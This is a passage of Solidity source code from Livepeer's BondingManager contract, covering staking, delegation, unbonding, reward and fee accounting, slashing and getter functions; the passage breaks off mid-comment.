// Occurances are replaced at compile time
// and computed to a single value if possible by the optimizer
uint256 constant MAX_FUTURE_ROUND = 2**256 - 1;
// Time between unbonding and possible withdrawl in rounds
uint64 public unbondingPeriod;
// DEPRECATED - DO NOT USE
uint256 public numActiveTranscodersDEPRECATED;
// Max number of rounds that a caller can claim earnings for at once
uint256 public maxEarningsClaimsRounds;
// Represents a transcoder's current state
struct Transcoder {
uint256 lastRewardRound; // Last round that the transcoder called reward
uint256 rewardCut; // % of reward paid to transcoder by a delegator
uint256 feeShare; // % of fees paid to delegators by transcoder
uint256 pricePerSegmentDEPRECATED; // DEPRECATED - DO NOT USE
uint256 pendingRewardCutDEPRECATED; // DEPRECATED - DO NOT USE
uint256 pendingFeeShareDEPRECATED; // DEPRECATED - DO NOT USE
uint256 pendingPricePerSegmentDEPRECATED; // DEPRECATED - DO NOT USE
mapping (uint256 => EarningsPool.Data) earningsPoolPerRound; // Mapping of round => earnings pool for the round
uint256 lastActiveStakeUpdateRound; // Round for which the stake was last updated while the transcoder is active
uint256 activationRound; // Round in which the transcoder became active - 0 if inactive
uint256 deactivationRound; // Round in which the transcoder will become inactive
uint256 activeCumulativeRewards; // The transcoder's cumulative rewards that are active in the current round
uint256 cumulativeRewards; // The transcoder's cumulative rewards (earned via the its active staked rewards and its reward cut).
uint256 cumulativeFees; // The transcoder's cumulative fees (earned via the its active staked rewards and its fee share)
uint256 lastFeeRound; // Latest round in which the transcoder received fees
}
// The various states a transcoder can be in
enum TranscoderStatus { NotRegistered, Registered }
// Represents a delegator's current state
struct Delegator {
uint256 bondedAmount; // The amount of bonded tokens
uint256 fees; // The amount of fees collected
address delegateAddress; // The address delegated to
uint256 delegatedAmount; // The amount of tokens delegated to the delegator
uint256 startRound; // The round the delegator transitions to bonded phase and is delegated to someone
uint256 withdrawRoundDEPRECATED; // DEPRECATED - DO NOT USE
uint256 lastClaimRound; // The last round during which the delegator claimed its earnings
uint256 nextUnbondingLockId; // ID for the next unbonding lock created
mapping (uint256 => UnbondingLock) unbondingLocks; // Mapping of unbonding lock ID => unbonding lock
}
// The various states a delegator can be in
enum DelegatorStatus { Pending, Bonded, Unbonded }
// Represents an amount of tokens that are being unbonded
struct UnbondingLock {
uint256 amount; // Amount of tokens being unbonded
uint256 withdrawRound; // Round at which unbonding period is over and tokens can be withdrawn
}
// Keep track of the known transcoders and delegators
mapping (address => Delegator) private delegators;
mapping (address => Transcoder) private transcoders;
// DEPRECATED - DO NOT USE
// The function getTotalBonded() no longer uses this variable
// and instead calculates the total bonded value separately
uint256 private totalBondedDEPRECATED;
// DEPRECATED - DO NOT USE
SortedDoublyLL.Data private transcoderPoolDEPRECATED;
// DEPRECATED - DO NOT USE
struct ActiveTranscoderSetDEPRECATED {
address[] transcoders;
mapping (address => bool) isActive;
uint256 totalStake;
}
// DEPRECATED - DO NOT USE
mapping (uint256 => ActiveTranscoderSetDEPRECATED) public activeTranscoderSetDEPRECATED;
// The total active stake (sum of the stake of active set members) for the current round
uint256 public currentRoundTotalActiveStake;
// The total active stake (sum of the stake of active set members) for the next round
uint256 public nextRoundTotalActiveStake;
// The transcoder pool is used to keep track of the transcoders that are eligible for activation.
// The pool keeps track of the pending active set in round N and the start of round N + 1 transcoders
// in the pool are locked into the active set for round N + 1
SortedDoublyLL.Data private transcoderPoolV2;
// Check if sender is TicketBroker
modifier onlyTicketBroker() {
require(
msg.sender == controller.getContract(keccak256("TicketBroker")),
"caller must be TicketBroker"
);
_;
}
// Check if sender is RoundsManager
modifier onlyRoundsManager() {
require(
msg.sender == controller.getContract(keccak256("RoundsManager")),
"caller must be RoundsManager"
);
_;
}
// Check if sender is Verifier
modifier onlyVerifier() {
require(msg.sender == controller.getContract(keccak256("Verifier")), "caller must be Verifier");
_;
}
// Check if current round is initialized
modifier currentRoundInitialized() {
require(roundsManager().currentRoundInitialized(), "current round is not initialized");
_;
}
// Automatically claim earnings from lastClaimRound through the current round
modifier autoClaimEarnings() {
uint256 currentRound = roundsManager().currentRound();
uint256 lastClaimRound = delegators[msg.sender].lastClaimRound;
if (lastClaimRound < currentRound) {
updateDelegatorWithEarnings(msg.sender, currentRound, lastClaimRound);
}
_;
}
/**
* @notice BondingManager constructor. Only invokes constructor of base Manager contract with provided Controller address
* @dev This constructor will not initialize any state variables besides `controller`. The following setter functions
* should be used to initialize state variables post-deployment:
* - setUnbondingPeriod()
* - setNumActiveTranscoders()
* - setMaxEarningsClaimsRounds()
* @param _controller Address of Controller that this contract will be registered with
*/
constructor(address _controller) public Manager(_controller) {}
/**
* @notice Set unbonding period. Only callable by Controller owner
* @param _unbondingPeriod Rounds between unbonding and possible withdrawal
*/
function setUnbondingPeriod(uint64 _unbondingPeriod) external onlyControllerOwner {
unbondingPeriod = _unbondingPeriod;
emit ParameterUpdate("unbondingPeriod");
}
/**
* @notice Set maximum number of active transcoders. Only callable by Controller owner
* @param _numActiveTranscoders Number of active transcoders
*/
function setNumActiveTranscoders(uint256 _numActiveTranscoders) external onlyControllerOwner {
transcoderPoolV2.setMaxSize(_numActiveTranscoders);
emit ParameterUpdate("numActiveTranscoders");
}
/**
* @notice Set max number of rounds a caller can claim earnings for at once. Only callable by Controller owner
* @param _maxEarningsClaimsRounds Max number of rounds a caller can claim earnings for at once
*/
function setMaxEarningsClaimsRounds(uint256 _maxEarningsClaimsRounds) external onlyControllerOwner {
maxEarningsClaimsRounds = _maxEarningsClaimsRounds;
emit ParameterUpdate("maxEarningsClaimsRounds");
}
/**
* @notice Sets commission rates as a transcoder and if the caller is not in the transcoder pool tries to add it
* @dev Percentages are represented as numerators of fractions over MathUtils.PERC_DIVISOR
* @param _rewardCut % of reward paid to transcoder by a delegator
* @param _feeShare % of fees paid to delegators by a transcoder
*/
function transcoder(uint256 _rewardCut, uint256 _feeShare) external {
transcoderWithHint(_rewardCut, _feeShare, address(0), address(0));
}
/**
* @notice Delegate stake towards a specific address
* @param _amount The amount of tokens to stake
* @param _to The address of the transcoder to stake towards
*/
function bond(uint256 _amount, address _to) external {
bondWithHint(
_amount,
_to,
address(0),
address(0),
address(0),
address(0)
);
}
/**
* @notice Unbond an amount of the delegator's bonded stake
* @param _amount Amount of tokens to unbond
*/
function unbond(uint256 _amount) external {
unbondWithHint(_amount, address(0), address(0));
}
/**
* @notice Rebond tokens for an unbonding lock to a delegator's current delegate while a delegator is in the Bonded or Pending status
* @param _unbondingLockId ID of unbonding lock to rebond with
*/
function rebond(uint256 _unbondingLockId) external {
rebondWithHint(_unbondingLockId, address(0), address(0));
}
/**
* @notice Rebond tokens for an unbonding lock to a delegate while a delegator is in the Unbonded status
* @param _to Address of delegate
* @param _unbondingLockId ID of unbonding lock to rebond with
*/
function rebondFromUnbonded(address _to, uint256 _unbondingLockId) external {
rebondFromUnbondedWithHint(_to, _unbondingLockId, address(0), address(0));
}
/**
* @notice Withdraws tokens for an unbonding lock that has existed through an unbonding period
* @param _unbondingLockId ID of unbonding lock to withdraw with
*/
function withdrawStake(uint256 _unbondingLockId)
external
whenSystemNotPaused
currentRoundInitialized
{
Delegator storage del = delegators[msg.sender];
UnbondingLock storage lock = del.unbondingLocks[_unbondingLockId];
require(isValidUnbondingLock(msg.sender, _unbondingLockId), "invalid unbonding lock ID");
require(lock.withdrawRound <= roundsManager().currentRound(), "withdraw round must be before or equal to the current round");
uint256 amount = lock.amount;
uint256 withdrawRound = lock.withdrawRound;
// Delete unbonding lock
delete del.unbondingLocks[_unbondingLockId];
// Tell Minter to transfer stake (LPT) to the delegator
minter().trustedTransferTokens(msg.sender, amount);
emit WithdrawStake(msg.sender, _unbondingLockId, amount, withdrawRound);
}
/**
* @notice Withdraws fees to the caller
*/
function withdrawFees()
external
whenSystemNotPaused
currentRoundInitialized
autoClaimEarnings
{
uint256 fees = delegators[msg.sender].fees;
require(fees > 0, "no fees to withdraw");
delegators[msg.sender].fees = 0;
// Tell Minter to transfer fees (ETH) to the delegator
minter().trustedWithdrawETH(msg.sender, fees);
emit WithdrawFees(msg.sender);
}
/**
* @notice Mint token rewards for an active transcoder and its delegators
*/
function reward() external {
rewardWithHint(address(0), address(0));
}
/**
* @notice Update transcoder's fee pool. Only callable by the TicketBroker
* @param _transcoder Transcoder address
* @param _fees Fees to be added to the fee pool
*/
function updateTranscoderWithFees(
address _transcoder,
uint256 _fees,
uint256 _round
)
external
whenSystemNotPaused
onlyTicketBroker
{
// Silence unused param compiler warning
_round;
require(isRegisteredTranscoder(_transcoder), "transcoder must be registered");
uint256 currentRound = roundsManager().currentRound();
Transcoder storage t = transcoders[_transcoder];
uint256 lastRewardRound = t.lastRewardRound;
uint256 activeCumulativeRewards = t.activeCumulativeRewards;
// LIP-36: Add fees for the current round instead of '_round'
// https://github.com/livepeer/LIPs/issues/35#issuecomment-673659199
EarningsPool.Data storage earningsPool = t.earningsPoolPerRound[currentRound];
EarningsPool.Data memory prevEarningsPool = latestCumulativeFactorsPool(t, currentRound.sub(1));
// if transcoder hasn't called 'reward()' for '_round' its 'transcoderFeeShare', 'transcoderRewardCut' and 'totalStake'
// on the 'EarningsPool' for '_round' would not be initialized and the fee distribution wouldn't happen as expected
// for cumulative fee calculation this would result in division by zero.
if (currentRound > lastRewardRound) {
earningsPool.setCommission(
t.rewardCut,
t.feeShare
);
uint256 lastUpdateRound = t.lastActiveStakeUpdateRound;
if (lastUpdateRound < currentRound) {
earningsPool.setStake(t.earningsPoolPerRound[lastUpdateRound].totalStake);
}
// If reward() has not been called yet in the current round, then the transcoder's activeCumulativeRewards has not
// yet been set in for the round. When the transcoder calls reward() its activeCumulativeRewards will be set to its
// current cumulativeRewards. So, we can just use the transcoder's cumulativeRewards here because this will become
// the transcoder's activeCumulativeRewards if it calls reward() later on in the current round
activeCumulativeRewards = t.cumulativeRewards;
}
uint256 totalStake = earningsPool.totalStake;
if (prevEarningsPool.cumulativeRewardFactor == 0 && lastRewardRound == currentRound) {
// if transcoder called reward for 'currentRound' but not for 'currentRound - 1' (missed reward call)
// retroactively calculate what its cumulativeRewardFactor would have been for 'currentRound - 1' (cfr. previous lastRewardRound for transcoder)
// based on rewards for currentRound
IMinter mtr = minter();
uint256 rewards = MathUtils.percOf(mtr.currentMintableTokens().add(mtr.currentMintedTokens()), totalStake, currentRoundTotalActiveStake);
uint256 transcoderCommissionRewards = MathUtils.percOf(rewards, earningsPool.transcoderRewardCut);
uint256 delegatorsRewards = rewards.sub(transcoderCommissionRewards);
prevEarningsPool.cumulativeRewardFactor = MathUtils.percOf(
earningsPool.cumulativeRewardFactor,
totalStake,
delegatorsRewards.add(totalStake)
);
}
uint256 delegatorsFees = MathUtils.percOf(_fees, earningsPool.transcoderFeeShare);
uint256 transcoderCommissionFees = _fees.sub(delegatorsFees);
// Calculate the fees earned by the transcoder's earned rewards
uint256 transcoderRewardStakeFees = MathUtils.percOf(delegatorsFees, activeCumulativeRewards, totalStake);
// Track fees earned by the transcoder based on its earned rewards and feeShare
t.cumulativeFees = t.cumulativeFees.add(transcoderRewardStakeFees).add(transcoderCommissionFees);
// Update cumulative fee factor with new fees
// The cumulativeFeeFactor is used to calculate fees for all delegators including the transcoder (self-delegated)
// Note that delegatorsFees includes transcoderRewardStakeFees, but no delegator will claim that amount using
// the earnings claiming algorithm and instead that amount is accounted for in the transcoder's cumulativeFees field
earningsPool.updateCumulativeFeeFactor(prevEarningsPool, delegatorsFees);
t.lastFeeRound = currentRound;
}
/**
* @notice Slash a transcoder. Only callable by the Verifier
* @param _transcoder Transcoder address
* @param _finder Finder that proved a transcoder violated a slashing condition. Null address if there is no finder
* @param _slashAmount Percentage of transcoder bond to be slashed
* @param _finderFee Percentage of penalty awarded to finder. Zero if there is no finder
*/
function slashTranscoder(
address _transcoder,
address _finder,
uint256 _slashAmount,
uint256 _finderFee
)
external
whenSystemNotPaused
onlyVerifier
{
Delegator storage del = delegators[_transcoder];
if (del.bondedAmount > 0) {
uint256 penalty = MathUtils.percOf(delegators[_transcoder].bondedAmount, _slashAmount);
// If active transcoder, resign it
if (transcoderPoolV2.contains(_transcoder)) {
resignTranscoder(_transcoder);
}
// Decrease bonded stake
del.bondedAmount = del.bondedAmount.sub(penalty);
// If still bonded decrease delegate's delegated amount
if (delegatorStatus(_transcoder) == DelegatorStatus.Bonded) {
delegators[del.delegateAddress].delegatedAmount = delegators[del.delegateAddress].delegatedAmount.sub(penalty);
}
// Account for penalty
uint256 burnAmount = penalty;
// Award finder fee if there is a finder address
if (_finder != address(0)) {
uint256 finderAmount = MathUtils.percOf(penalty, _finderFee);
minter().trustedTransferTokens(_finder, finderAmount);
// Minter burns the slashed funds - finder reward
minter().trustedBurnTokens(burnAmount.sub(finderAmount));
emit TranscoderSlashed(_transcoder, _finder, penalty, finderAmount);
} else {
// Minter burns the slashed funds
minter().trustedBurnTokens(burnAmount);
emit TranscoderSlashed(_transcoder, address(0), penalty, 0);
}
} else {
emit TranscoderSlashed(_transcoder, _finder, 0, 0);
}
}
/**
* @notice Claim token pools shares for a delegator from its lastClaimRound through the end round
* @param _endRound The last round for which to claim token pools shares for a delegator
*/
function claimEarnings(uint256 _endRound) external whenSystemNotPaused currentRoundInitialized {
uint256 lastClaimRound = delegators[msg.sender].lastClaimRound;
require(lastClaimRound < _endRound, "end round must be after last claim round");
require(_endRound <= roundsManager().currentRound(), "end round must be before or equal to current round");
updateDelegatorWithEarnings(msg.sender, _endRound, lastClaimRound);
}
/**
* @notice Called during round initialization to set the total active stake for the round. Only callable by the RoundsManager
*/
function setCurrentRoundTotalActiveStake() external onlyRoundsManager {
currentRoundTotalActiveStake = nextRoundTotalActiveStake;
}
/**
* @notice Sets commission rates as a transcoder and if the caller is not in the transcoder pool tries to add it using an optional list hint
* @dev Percentages are represented as numerators of fractions over MathUtils.PERC_DIVISOR. If the caller is going to be added to the pool, the
* caller can provide an optional hint for the insertion position in the pool via the `_newPosPrev` and `_newPosNext` params. A linear search will
* be executed starting at the hint to find the correct position - in the best case, the hint is the correct position so no search is executed.
* See SortedDoublyLL.sol for details on list hints
* @param _rewardCut % of reward paid to transcoder by a delegator
* @param _feeShare % of fees paid to delegators by a transcoder
* @param _newPosPrev Address of previous transcoder in pool if the caller joins the pool
* @param _newPosNext Address of next transcoder in pool if the caller joins the pool
*/
function transcoderWithHint(uint256 _rewardCut, uint256 _feeShare, address _newPosPrev, address _newPosNext)
public
whenSystemNotPaused
currentRoundInitialized
{
require(
!roundsManager().currentRoundLocked(),
"can't update transcoder params, current round is locked"
);
require(MathUtils.validPerc(_rewardCut), "invalid rewardCut percentage");
require(MathUtils.validPerc(_feeShare), "invalid feeShare percentage");
require(isRegisteredTranscoder(msg.sender), "transcoder must be registered");
Transcoder storage t = transcoders[msg.sender];
uint256 currentRound = roundsManager().currentRound();
require(
!isActiveTranscoder(msg.sender) || t.lastRewardRound == currentRound,
"caller can't be active or must have already called reward for the current round"
);
t.rewardCut = _rewardCut;
t.feeShare = _feeShare;
if (!transcoderPoolV2.contains(msg.sender)) {
tryToJoinActiveSet(msg.sender, delegators[msg.sender].delegatedAmount, currentRound.add(1), _newPosPrev, _newPosNext);
}
emit TranscoderUpdate(msg.sender, _rewardCut, _feeShare);
}
/**
* @notice Delegate stake towards a specific address and updates the transcoder pool using optional list hints if needed
* @dev If the caller is decreasing the stake of its old delegate in the transcoder pool, the caller can provide an optional hint
* for the insertion position of the old delegate via the `_oldDelegateNewPosPrev` and `_oldDelegateNewPosNext` params.
* If the caller is delegating to a delegate that is in the transcoder pool, the caller can provide an optional hint for the
* insertion position of the delegate via the `_currDelegateNewPosPrev` and `_currDelegateNewPosNext` params.
* In both cases, a linear search will be executed starting at the hint to find the correct position. In the best case, the hint
* is the correct position so no search is executed. See SortedDoublyLL.sol for details on list hints
* @param _amount The amount of tokens to stake.
* @param _to The address of the transcoder to stake towards
* @param _oldDelegateNewPosPrev The address of the previous transcoder in the pool for the old delegate
* @param _oldDelegateNewPosNext The address of the next transcoder in the pool for the old delegate
* @param _currDelegateNewPosPrev The address of the previous transcoder in the pool for the current delegate
* @param _currDelegateNewPosNext The address of the next transcoder in the pool for the current delegate
*/
function bondWithHint(
uint256 _amount,
address _to,
address _oldDelegateNewPosPrev,
address _oldDelegateNewPosNext,
address _currDelegateNewPosPrev,
address _currDelegateNewPosNext
)
public
whenSystemNotPaused
currentRoundInitialized
autoClaimEarnings
{
Delegator storage del = delegators[msg.sender];
uint256 currentRound = roundsManager().currentRound();
// Amount to delegate
uint256 delegationAmount = _amount;
// Current delegate
address currentDelegate = del.delegateAddress;
if (delegatorStatus(msg.sender) == DelegatorStatus.Unbonded) {
// New delegate
// Set start round
// Don't set start round if delegator is in pending state because the start round would not change
del.startRound = currentRound.add(1);
// Unbonded state = no existing delegate and no bonded stake
// Thus, delegation amount = provided amount
} else if (currentDelegate != address(0) && currentDelegate != _to) {
// A registered transcoder cannot delegate its bonded stake toward another address
// because it can only be delegated toward itself
// In the future, if delegation towards another registered transcoder as an already
// registered transcoder becomes useful (i.e. for transitive delegation), this restriction
// could be removed
require(!isRegisteredTranscoder(msg.sender), "registered transcoders can't delegate towards other addresses");
// Changing delegate
// Set start round
del.startRound = currentRound.add(1);
// Update amount to delegate with previous delegation amount
delegationAmount = delegationAmount.add(del.bondedAmount);
decreaseTotalStake(currentDelegate, del.bondedAmount, _oldDelegateNewPosPrev, _oldDelegateNewPosNext);
}
// cannot delegate to someone without having bonded stake
require(delegationAmount > 0, "delegation amount must be greater than 0");
// Update delegate
del.delegateAddress = _to;
// Update bonded amount
del.bondedAmount = del.bondedAmount.add(_amount);
increaseTotalStake(_to, delegationAmount, _currDelegateNewPosPrev, _currDelegateNewPosNext);
if (_amount > 0) {
// Transfer the LPT to the Minter
livepeerToken().transferFrom(msg.sender, address(minter()), _amount);
}
emit Bond(_to, currentDelegate, msg.sender, _amount, del.bondedAmount);
}
/**
* @notice Unbond an amount of the delegator's bonded stake and updates the transcoder pool using an optional list hint if needed
* @dev If the caller remains in the transcoder pool, the caller can provide an optional hint for its insertion position in the
* pool via the `_newPosPrev` and `_newPosNext` params. A linear search will be executed starting at the hint to find the correct position.
* In the best case, the hint is the correct position so no search is executed. See SortedDoublyLL.sol details on list hints
* @param _amount Amount of tokens to unbond
* @param _newPosPrev Address of previous transcoder in pool if the caller remains in the pool
* @param _newPosNext Address of next transcoder in pool if the caller remains in the pool
*/
function unbondWithHint(uint256 _amount, address _newPosPrev, address _newPosNext)
public
whenSystemNotPaused
currentRoundInitialized
autoClaimEarnings
{
require(delegatorStatus(msg.sender) == DelegatorStatus.Bonded, "caller must be bonded");
Delegator storage del = delegators[msg.sender];
require(_amount > 0, "unbond amount must be greater than 0");
require(_amount <= del.bondedAmount, "amount is greater than bonded amount");
address currentDelegate = del.delegateAddress;
uint256 currentRound = roundsManager().currentRound();
uint256 withdrawRound = currentRound.add(unbondingPeriod);
uint256 unbondingLockId = del.nextUnbondingLockId;
// Create new unbonding lock
del.unbondingLocks[unbondingLockId] = UnbondingLock({
amount: _amount,
withdrawRound: withdrawRound
});
// Increment ID for next unbonding lock
del.nextUnbondingLockId = unbondingLockId.add(1);
// Decrease delegator's bonded amount
del.bondedAmount = del.bondedAmount.sub(_amount);
if (del.bondedAmount == 0) {
// Delegator no longer delegated to anyone if it does not have a bonded amount
del.delegateAddress = address(0);
// Delegator does not have a start round if it is no longer delegated to anyone
del.startRound = 0;
if (transcoderPoolV2.contains(msg.sender)) {
resignTranscoder(msg.sender);
}
}
// If msg.sender was resigned this statement will only decrease delegators[currentDelegate].delegatedAmount
decreaseTotalStake(currentDelegate, _amount, _newPosPrev, _newPosNext);
emit Unbond(currentDelegate, msg.sender, unbondingLockId, _amount, withdrawRound);
}
/**
* @notice Rebond tokens for an unbonding lock to a delegator's current delegate while a delegator is in the Bonded or Pending status and updates
* the transcoder pool using an optional list hint if needed
* @dev If the delegate is in the transcoder pool, the caller can provide an optional hint for the delegate's insertion position in the
* pool via the `_newPosPrev` and `_newPosNext` params. A linear search will be executed starting at the hint to find the correct position.
* In the best case, the hint is the correct position so no search is executed. See SortedDoublyLL.sol details on list hints
* @param _unbondingLockId ID of unbonding lock to rebond with
* @param _newPosPrev Address of previous transcoder in pool if the delegate is in the pool
* @param _newPosNext Address of next transcoder in pool if the delegate is in the pool
*/
function rebondWithHint(
uint256 _unbondingLockId,
address _newPosPrev,
address _newPosNext
)
public
whenSystemNotPaused
currentRoundInitialized
autoClaimEarnings
{
require(delegatorStatus(msg.sender) != DelegatorStatus.Unbonded, "caller must be bonded");
// Process rebond using unbonding lock
processRebond(msg.sender, _unbondingLockId, _newPosPrev, _newPosNext);
}
/**
* @notice Rebond tokens for an unbonding lock to a delegate while a delegator is in the Unbonded status and updates the transcoder pool using
* an optional list hint if needed
* @dev If the delegate joins the transcoder pool, the caller can provide an optional hint for the delegate's insertion position in the
* pool via the `_newPosPrev` and `_newPosNext` params. A linear search will be executed starting at the hint to find the correct position.
* In the best case, the hint is the correct position so no search is executed. See SortedDoublyLL.sol for details on list hints
* @param _to Address of delegate
* @param _unbondingLockId ID of unbonding lock to rebond with
* @param _newPosPrev Address of previous transcoder in pool if the delegate joins the pool
* @param _newPosNext Address of next transcoder in pool if the delegate joins the pool
*/
function rebondFromUnbondedWithHint(
address _to,
uint256 _unbondingLockId,
address _newPosPrev,
address _newPosNext
)
public
whenSystemNotPaused
currentRoundInitialized
autoClaimEarnings
{
require(delegatorStatus(msg.sender) == DelegatorStatus.Unbonded, "caller must be unbonded");
// Set delegator's start round and transition into Pending state
delegators[msg.sender].startRound = roundsManager().currentRound().add(1);
// Set delegator's delegate
delegators[msg.sender].delegateAddress = _to;
// Process rebond using unbonding lock
processRebond(msg.sender, _unbondingLockId, _newPosPrev, _newPosNext);
}
/**
* @notice Mint token rewards for an active transcoder and its delegators and update the transcoder pool using an optional list hint if needed
* @dev If the caller is in the transcoder pool, the caller can provide an optional hint for its insertion position in the
* pool via the `_newPosPrev` and `_newPosNext` params. A linear search will be executed starting at the hint to find the correct position.
* In the best case, the hint is the correct position so no search is executed. See SortedDoublyLL.sol for details on list hints
* @param _newPosPrev Address of previous transcoder in pool if the caller is in the pool
* @param _newPosNext Address of next transcoder in pool if the caller is in the pool
*/
function rewardWithHint(address _newPosPrev, address _newPosNext) public whenSystemNotPaused currentRoundInitialized {
uint256 currentRound = roundsManager().currentRound();
require(isActiveTranscoder(msg.sender), "caller must be an active transcoder");
require(transcoders[msg.sender].lastRewardRound != currentRound, "caller has already called reward for the current round");
Transcoder storage t = transcoders[msg.sender];
EarningsPool.Data storage earningsPool = t.earningsPoolPerRound[currentRound];
// Set last round that transcoder called reward
earningsPool.setCommission(t.rewardCut, t.feeShare);
// If transcoder didn't receive stake updates during the previous round and hasn't called reward for > 1 round
// the 'totalStake' on its 'EarningsPool' for the current round wouldn't be initialized
// Thus we sync the the transcoder's stake to when it was last updated
// 'updateTrancoderWithRewards()' will set the update round to 'currentRound +1' so this synchronization shouldn't occur frequently
uint256 lastUpdateRound = t.lastActiveStakeUpdateRound;
if (lastUpdateRound < currentRound) {
earningsPool.setStake(t.earningsPoolPerRound[lastUpdateRound].totalStake);
}
// Create reward based on active transcoder's stake relative to the total active stake
// rewardTokens = (current mintable tokens for the round * active transcoder stake) / total active stake
uint256 rewardTokens = minter().createReward(earningsPool.totalStake, currentRoundTotalActiveStake);
updateTranscoderWithRewards(msg.sender, rewardTokens, currentRound, _newPosPrev, _newPosNext);
// Set last round that transcoder called reward
t.lastRewardRound = currentRound;
emit Reward(msg.sender, rewardTokens);
}
/**
* @notice Returns pending bonded stake for a delegator from its lastClaimRound through an end round
* @param _delegator Address of delegator
* @param _endRound The last round to compute pending stake from
* @return Pending bonded stake for '_delegator' since last claiming rewards
*/
function pendingStake(address _delegator, uint256 _endRound) public view returns (uint256) {
(
uint256 stake,
) = pendingStakeAndFees(_delegator, _endRound);
return stake;
}
/**
* @notice Returns pending fees for a delegator from its lastClaimRound through an end round
* @param _delegator Address of delegator
* @param _endRound The last round to compute pending fees from
* @return Pending fees for '_delegator' since last claiming fees
*/
function pendingFees(address _delegator, uint256 _endRound) public view returns (uint256) {
(
,
uint256 fees
) = pendingStakeAndFees(_delegator, _endRound);
return fees;
}
/**
* @notice Returns total bonded stake for a transcoder
* @param _transcoder Address of transcoder
* @return total bonded stake for a delegator
*/
function transcoderTotalStake(address _transcoder) public view returns (uint256) {
return delegators[_transcoder].delegatedAmount;
}
/**
* @notice Computes transcoder status
* @param _transcoder Address of transcoder
* @return registered or not registered transcoder status
*/
function transcoderStatus(address _transcoder) public view returns (TranscoderStatus) {
if (isRegisteredTranscoder(_transcoder)) return TranscoderStatus.Registered;
return TranscoderStatus.NotRegistered;
}
/**
* @notice Computes delegator status
* @param _delegator Address of delegator
* @return bonded, unbonded or pending delegator status
*/
function delegatorStatus(address _delegator) public view returns (DelegatorStatus) {
Delegator storage del = delegators[_delegator];
if (del.bondedAmount == 0) {
// Delegator unbonded all its tokens
return DelegatorStatus.Unbonded;
} else if (del.startRound > roundsManager().currentRound()) {
// Delegator round start is in the future
return DelegatorStatus.Pending;
} else {
// Delegator round start is now or in the past
// del.startRound != 0 here because if del.startRound = 0 then del.bondedAmount = 0 which
// would trigger the first if clause
return DelegatorStatus.Bonded;
}
}
/**
* @notice Return transcoder information
* @param _transcoder Address of transcoder
* @return lastRewardRound Trancoder's last reward round
* @return rewardCut Transcoder's reward cut
* @return feeShare Transcoder's fee share
* @return lastActiveStakeUpdateRound Round in which transcoder's stake was last updated while active
* @return activationRound Round in which transcoder became active
* @return deactivationRound Round in which transcoder will no longer be active
* @return activeCumulativeRewards Transcoder's cumulative rewards that are currently active
* @return cumulativeRewards Transcoder's cumulative rewards (earned via its active staked rewards and its reward cut)
* @return cumulativeFees Transcoder's cumulative fees (earned via its active staked rewards and its fee share)
* @return lastFeeRound Latest round that the transcoder received fees
*/
function getTranscoder(
address _transcoder
)
public
view
returns (uint256 lastRewardRound, uint256 rewardCut, uint256 feeShare, uint256 lastActiveStakeUpdateRound, uint256 activationRound, uint256 deactivationRound, uint256 activeCumulativeRewards, uint256 cumulativeRewards, uint256 cumulativeFees, uint256 lastFeeRound)
{
Transcoder storage t = transcoders[_transcoder];
lastRewardRound = t.lastRewardRound;
rewardCut = t.rewardCut;
feeShare = t.feeShare;
lastActiveStakeUpdateRound = t.lastActiveStakeUpdateRound;
activationRound = t.activationRound;
deactivationRound = t.deactivationRound;
activeCumulativeRewards = t.activeCumulativeRewards;
cumulativeRewards = t.cumulativeRewards;
cumulativeFees = t.cumulativeFees;
lastFeeRound = t.lastFeeRound;
}
/**
* @notice Return transcoder's earnings pool for a given round
* @param _transcoder Address of transcoder
* @param _round Round number
* @return rewardPool Reward pool for delegators (only used before LIP-36)
* @return feePool Fee pool for delegators (only used before LIP-36)
* @return totalStake Transcoder's total stake in '_round'
* @return claimableStake Remaining stake that can be used to claim from the pool (only used before LIP-36)
* @return transcoderRewardCut Transcoder's reward cut for '_round'
* @return transcoderFeeShare Transcoder's fee share for '_round'
* @return transcoderRewardPool Transcoder's rewards for '_round' (only used before LIP-36)
* @return transcoderFeePool Transcoder's fees for '_round' (only used before LIP-36)
* @return hasTranscoderRewardFeePool True if there is a split reward/fee pool for the transcoder (only used before LIP-36)
* @return cumulativeRewardFactor The cumulative reward factor for delegator rewards calculation (only used after LIP-36)
* @return cumulativeFeeFactor The cumulative fee factor for delegator fees calculation (only used after LIP-36)
*/
function getTranscoderEarningsPoolForRound(
address _transcoder,
uint256 _round
)
public
view
returns (uint256 rewardPool, uint256 feePool, uint256 totalStake, uint256 claimableStake, uint256 transcoderRewardCut, uint256 transcoderFeeShare, uint256 transcoderRewardPool, uint256 transcoderFeePool, bool hasTranscoderRewardFeePool, uint256 cumulativeRewardFactor, uint256 cumulativeFeeFactor)
{
EarningsPool.Data storage earningsPool = transcoders[_transcoder].earningsPoolPerRound[_round];
rewardPool = earningsPool.rewardPool;
feePool = earningsPool.feePool;
totalStake = earningsPool.totalStake;
claimableStake = earningsPool.claimableStake;
transcoderRewardCut = earningsPool.transcoderRewardCut;
transcoderFeeShare = earningsPool.transcoderFeeShare;
transcoderRewardPool = earningsPool.transcoderRewardPool;
transcoderFeePool = earningsPool.transcoderFeePool;
hasTranscoderRewardFeePool = earningsPool.hasTranscoderRewardFeePool;
cumulativeRewardFactor = earningsPool.cumulativeRewardFactor;
cumulativeFeeFactor = earningsPool.cumulativeFeeFactor;
}
/**
* @notice Return delegator info
* @param _delegator Address of delegator
* @return total amount bonded by '_delegator'
* @return amount of fees collected by '_delegator'
* @return address '_delegator' has bonded to
* @return total amount delegated to '_delegator'
* @return round in which bond for '_delegator' became effective
* @return round for which '_delegator' has last claimed earnings
* @return ID for the next unbonding lock created for '_delegator'
*/
function getDelegator(
address _delegator
)
public
view
returns (uint256 bondedAmount, uint256 fees, address delegateAddress, uint256 delegatedAmount, uint256 startRound, uint256 lastClaimRound, uint256 nextUnbondingLockId)
{
Delegator storage del = delegators[_delegator];
bondedAmount = del.bondedAmount;
fees = del.fees;
delegateAddress = del.delegateAddress;
delegatedAmount = del.delegatedAmount;
startRound = del.startRound;
lastClaimRound = del.lastClaimRound;
nextUnbondingLockId = del.nextUnbondingLockId;
}
/**
* @notice Return delegator's unbonding lock info
* @param _delegator Address of delegator
* @param _unbondingLockId ID of unbonding lock
* @return amount of stake locked up by unbonding lock
* @return round in which 'amount' becomes available for withdrawal
*/
function getDelegatorUnbondingLock(
address _delegator,
uint256 _unbondingLockId
)
public
view
returns (uint256 amount, uint256 withdrawRound)
{
UnbondingLock storage lock = delegators[_delegator].unbondingLocks[_unbondingLockId];
return (lock.amount, lock.withdrawRound);
}
/**
* @notice Returns max size of transcoder pool
